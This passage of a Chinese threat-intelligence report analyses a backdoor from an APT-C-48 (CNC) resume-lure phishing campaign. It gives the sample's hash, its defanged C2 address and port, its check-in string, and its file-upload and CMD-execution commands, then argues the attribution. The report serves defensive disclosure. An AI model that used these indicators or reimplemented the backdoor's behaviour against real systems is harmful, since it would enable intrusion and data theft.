data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5643802647412756" data-s="300,640" data-type="png" data-w="831" type="block" data-imgfileid="100024870" src="https://wechat2rss.xlab.app/img-proxy/?k=f163f76b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXILNBXR6dib79w0aKqdzxhnqiaQSaiaqHgaO1e5s3ianer31xUdBJvg4nwvicsBY7tCxTRV5pysCBhqv23cEhFKiaPcFibqelFQiaQjgHo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:一封简历pdf把木马送进了电脑-apt-c-48cnc近期国内钓鱼投递复盘;"><span style="mso-bookmark:二攻击活动分析;"><span style="mso-bookmark:恶意载荷分析;"><span style="mso-bookmark:诱饵-pdf让受害者以为只是看了个简历;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;" data-mpa-action-id="mqhhau3mzdn" data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">3. 攻击组件分析</span></span></span></span></span></span></span></p><p><table style="width:537px;"><tbody><tr><td data-colwidth="102" style="border-color:#000000;"><p><span leaf="" data-pm-slice="1 1 [&#34;table&#34;,{&#34;interlaced&#34;:null,&#34;align&#34;:null,&#34;class&#34;:null,&#34;style&#34;:&#34;width:537px&#34;},&#34;table_body&#34;,{},&#34;table_row&#34;,{&#34;class&#34;:null,&#34;style&#34;:null},&#34;table_cell&#34;,{&#34;colspan&#34;:1,&#34;rowspan&#34;:1,&#34;colwidth&#34;:[102],&#34;width&#34;:null,&#34;valign&#34;:null,&#34;align&#34;:null,&#34;style&#34;:null},&#34;para&#34;,null]">MD5</span></p></td><td data-colwidth="435" style="border-color:#000000;"><p><span leaf="">8D600D1CF269F21EE5BC78B5E0C6ECFE</span></p></td></tr><tr><td data-colwidth="102" style="border-color:#000000;"><p><span leaf="">文件名称</span></p></td><td data-colwidth="435" style="border-color:#000000;"><p><span leaf="">Search1ndexer.exe</span></p></td></tr><tr><td data-colwidth="102" style="border-color:#000000;"><p><span leaf="">文件类型</span></p></td><td data-colwidth="435" style="border-color:#000000;"><p><span leaf="">exe</span></p></td></tr><tr><td data-colwidth="102" style="border-color:#000000;"><p><span leaf="">文件大小</span></p></td><td data-colwidth="435" style="border-color:#000000;"><p><span leaf="">4.24MB</span></p></td></tr></tbody></table></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">该样本文件大小为 4.24 MB，其中绝大部分体积来源于静态链接的 OpenSSL（经 </span><span mpa-font-style="mo9xn49w1nx"><span leaf="" style="color: rgba(0, 0, 0, 0.9);line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">vcpkg x64-windows-static-rel</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mo9xn49wgkn"> 配置构建），用于实现加密通信。</span></p><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span style=""><span style=""><span style=""><span style=""><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.30303030303030304" data-w="1089" style="width: 560.01px;height: 169.7px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f9a6a79d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJSOwS4a8W2CaFnBfpAiaoiaDXiaS3vmFic9HoiaQtZLh6icD7a52iake0A4klowP5TiaFWuVgA70Z4W3ia4LsMLN0L4TxSLxnib25RaQMB4%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></span></span></span></span></span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">C2 地址通过异或加密，解密后为：</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">185.243.112[.]142</span><o:page></o:page></p><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.29375" data-w="800" style="width: 560.01px;height: 164.5px;" src="https://wechat2rss.xlab.app/img-proxy/?k=11df616d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIzNFf2SO2z1cy4J8j73bHuNYXgiaicvPaxsftoCwEtVI11sROHpIFMz87wk2dhRoaA5cnucNc7mazKk3ib9Ywdvx6TiaibA6OhMN14%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">创建</span><span data-pm-slice="0 0 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Socket 并尝试连接 C2 服务器 </span></span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">185.243.112[.]142:443</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">连接成功后</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">将原始</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> Socket 绑定到 SSL 对象</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最后完成</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> TLS 握手，握手成功后即可实现加密通信。</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">接着发送上线包，上线包内容为</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”gem01ini”</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本创建 Socket 并尝试连接 </span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">185.243.112[.]142:443</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。</span></p><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span style=""><span style=""><span style=""><span style=""><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5717970765262252" data-w="1163" style="width: 560.01px;height: 320.21px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ee34b28f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJp1hthQgwnIl3GkcibicKXibGhtke79w9geMVOGdvJjfFibdIpKd9p8Tf7qUibcZJ2sdwYqL4W4iaR0c9uKLsl74s7nUEfcPExkG5q8%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></span></span></span></span></span></p><p style="text-indent: 2em;"><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">接着读取服务器发送的指令，指令为</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”download“则会将本地的文件上传至服务器，服务器会下发文件路径，文件打开成功则向服务器返回1，否则返回0。</span></font></span><o:page></o:page></p><p style="text-align: center;"><span style=""><span style=""><span style=""><span style=""><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.23889739663093415" data-w="653" style="width: 560.01px;height: 133.78px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4524d70e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJ8SrKAmVXt6V7Jox6C9AhXg8IJUbxOOvby3wyR3l4l55aiaZuvia7JUQ5QfMxTdj0yOUmNAPYU4vpW4iaXgyPyjjphvjn40iarp2s%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></span></span></span></span></span></p><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span style=""><span style=""><span style=""><span style=""><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2428078250863061" data-w="869" style="width: 560.01px;height: 135.97px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9fe5c5b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKE8GwV2PRrLQtS8RyW4ljWrFZmSPIwDQpgUPsHGOYY4cGnIJdxviatYiafn53r9k6NOmdUultKWrktGwgBsxR1fgS1qjmKl0WCs%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span></span></span></p><p data-pm-slice="0 0 []" style="text-indent: 2em;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">如果指令不是</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”download“则会调用CMD执行下发的指令。</span></font></p><p style="text-align: center;"><span style=""><span style=""><span style=""><span style=""><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6784530386740332" data-w="905" style="width: 560.01px;height: 379.94px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f37b45a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLPExSuWbUZ3PKaUVFSNYqunASdqjF433CxVMlbRibwiaWA9KqKwgKBic0p3WjB0siaWiae8ibMIicftYEeibnHml480QVhPG8X5gaLt1c%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></span></span></span></span></span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="115672"><div style="margin: 20px auto;"><div style="display: flex;justify-content: flex-start;"><div style="transform-style: preserve-3d;"><div style="display: flex;justify-content: flex-start;transform: translateZ(12px);-webkit-transform: translateZ(12px);-moz-transform: translateZ(12px);-o-transform: translateZ(12px);"><p style="font-size: 14px;letter-spacing: 1.5px;background-color: #c6c6c7;color: #ffffff;width: 26px;height: 26px;text-align: center;line-height: 26px;box-sizing:border-box;"><strong><span leaf="">02</span></strong></p></div><div style="padding: 0 2px 0 12px;margin: -14px 0 -23px;box-sizing:border-box;transform: translateZ(10px);-webkit-transform: translateZ(10px);-moz-transform: translateZ(10px);-o-transform: translateZ(10px);"><div style="background-color: #ffffff;padding: 2px;box-sizing: border-box;"><p style="background: linear-gradient(to left,#be191f,#ac1d10);font-size: 16px;color: #ffffff;padding: 5px 20px;letter-spacing: 1.5px;box-sizing:border-box;"><strong data-brushtype="text" hm_fix="305:351"><span leaf="">归属研判</span></strong></p></div></div></div></div></div></div></div><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">综合多条证据链，研判该活动与 APT-C-48（CNC）组织高度相关：</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">1</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">.</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">此次攻击活动依旧采用</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">招聘</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">、</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">简历</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">为话题作为诱饵文档进行投递，在以往的攻击活动中已经屡见不鲜，也是该组织的惯用方式。</span></font><o:page></o:page></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">2.</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">以往某次攻击活动中，初始负载为下载器，通过连接服务器下载诱饵文档以及后续载荷，与本次分析样本一致。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 